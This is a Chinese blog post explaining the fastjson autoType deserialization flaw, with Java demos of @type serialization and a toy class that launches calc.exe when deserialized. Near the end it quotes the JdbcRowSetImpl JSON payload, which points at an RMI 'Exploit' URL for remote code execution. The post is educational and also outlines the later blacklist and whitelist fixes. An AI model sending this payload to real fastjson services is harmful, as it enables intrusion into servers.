fastjson漏洞——举例说明漏洞以及原理分析——一看就会

  • Post author:
  • Post category:其他


最近公司一直说fastjson有漏洞,比较很严重,要换成其他的json工具。怀着好奇的心情去看了一些文章,现在简单的记录一下。



1、漏洞分析

总体而言是一个叫做autoType的在搞事情。那么autoType是什么呢?

我们写一段简单代码演示一下:

public class JSONController {

    public static void main(String[] args) throws ParseException {

        Province province = new Province();
        province.setProvincialCapital("wuhan");
        province.setCityNum(12);

        Nation nation = new Nation();
        nation.setName("傣族");
        nation.setProvince(province);

        String nationStr = JSON.toJSONString(nation, SerializerFeature.WriteClassName);
        //{"@type":"com.xx.ins.qsm.demo.web.controller.Nation","name":"傣族","province":{"@type":"com.xx.ins.qsm.demo.web.controller.Province","cityNum":12,"provincialCapital":"wuhan"}}
        Nation nation1 = JSON.parseObject(nationStr, Nation.class);
        //{"name":"傣族","province":{"cityNum":12,"provincialCapital":"wuhan"}}
        Province province1 = (Province) nation1.getProvince();
        //{"cityNum":12,"provincialCapital":"wuhan"}


        String nationStr2 = JSON.toJSONString(nation);
        //{"name":"傣族","province":{"cityNum":12,"provincialCapital":"wuhan"}}
        Nation nation2 = JSON.parseObject(nationStr2, Nation.class);
        //{"name":"傣族","province":{}}
        Province province2 = (Province) nation2.getProvince();
        //Exception in thread "main" java.lang.ClassCastException: com.xxx.qsm.demo.web.controller.$Proxy0 cannot be cast to com.xxx.qsm.demo.web.controller.Province
        //	at com.xxx.qsm.demo.web.controller.JSONController.main(JSONController.java:64)
    }
}

@Data
class Nation {
    private String name;
    private Location province;

}
interface Location {
}

@Data
class Province implements Location {
    private String provincialCapital;
    private Integer cityNum;
}

可以看到:Nation类有一个属性province,其类型为接口Location,我们赋值的时候,是给它的实现类Province的对象。

接下来,2次序列化是否使用了

SerializerFeature.WriteClassName



使用了该属性的,序列化的json字符串就出现了一个

@type

的东西,这个指明了这个对象到时候反序列的时候指定的类型。那么这个

@type

就是前面所说的万恶之源autoType。在fastjson早期,这个是自动开启的。

那它有什么作用呢:就是反序列化的时候,可以指明我要的对象是什么。从代码可以看到,第二段序列化是没有

@type

的,所以它反序列化的时候,字段province根本没法转为本来的Province类型。如果指定了类型,那么就很容易的反序列化到指定的类。



2、漏洞利用:

也正是因为这个

@type

,那岂不我们可以自己随意指定一个类,然而这个类却可以帮我们做一些坏事?

比如我现在有一个类,可以调用本机的计算器,假设调起本机计算器是一个严重的问题,类似删除某个数据库。然后使用类似fastjson序列化漏洞的逻辑来执行。

public class JSONController {
    public JSONController() {
        try {
            // 要执行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) throws ParseException {
        String s = "{\"@type\":\"com.xxx.qsm.demo.web.controller.JSONController\",\"name\":\"傣族\"}";
        JSON.parseObject(s);
    }
}

执行上面的代码,就可以调出本机的计算器。那么逻辑就是:自己构造一个json字符串,使用

@type

指定我想反序列化的类,然后这个类会执行一些动作,比如调用计算器或者删除数据库等。

那么fastjson早期版本就是使用类似的逻辑,比如调用的类为JdbcRowSetImpl。

构造的json字符串为:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}



这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。


那么之后的修复版本,fastjson默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。

那么黑客与官方开始博弈autotype,因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了”如何绕过checkAutotype”。

上面就是fastjson漏洞的简单理解。

【完】


正在去BAT的路上修行中



版权声明:本文为u013541707原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。